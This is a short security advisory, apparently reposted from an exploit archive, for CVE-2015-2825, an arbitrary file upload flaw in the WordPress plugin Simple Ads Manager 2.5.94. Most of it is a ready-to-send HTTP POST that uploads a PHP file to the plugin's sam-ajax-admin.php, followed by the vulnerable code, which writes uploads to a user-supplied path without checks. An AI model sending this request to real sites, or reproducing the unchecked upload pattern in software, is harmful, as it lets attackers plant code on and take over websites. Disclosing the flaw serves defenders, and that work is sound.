WordPress Simple Ads Manager 2.5.94 File Upload

[KhiZaRix]

#Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File

Upload

#Product: Wordpress plugin Simple Ads Manager

#Vendor: https://profiles.wordpress.org/minimus/

#Affected version: Simple Ads Manager 2.5.94

#Download link: https://wordpress.org/plugins/simple-ads-manager/

#CVE ID: CVE-2015-2825

#Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team

:: PROOF OF CONCEPT ::

+ REQUEST

POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1

Host: targer.com

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Content-Type: multipart/form-data;

boundary=---------------------------108989518220095255551617421026

Content-Length: 683

-----------------------------108989518220095255551617421026

Content-Disposition: form-data; name="uploadfile"; filename="info.php"

Content-Type: application/x-php

<?php phpinfo(); ?>

-----------------------------108989518220095255551617421026

Content-Disposition: form-data; name="action"

upload_ad_image

-----------------------------108989518220095255551617421026-

+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php

+ Vulnerable code: from line 303 to 314

case 'sam_ajax_upload_ad_image':

if(isset($_POST['path'])) {

$uploadDir = $_POST['path'];

$file = $uploadDir . basename($_FILES['uploadfile']['name']);

if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file ))

{

$out = array('status' => "success");

} else {

$out = array('status' => "error");

}

}

break;

+ REFERENCE:

-

ITAS Vietnam | ITAS Corp

s-in-Hakin9-IT-Security-Magazine-78.html?language=en

-

Best regard

--------------------

ITAS Team (ITAS Vietnam | ITAS Corp)

Source: http://packetstorm.wowhacker.com/1504-exploits/wpsam-upload.txt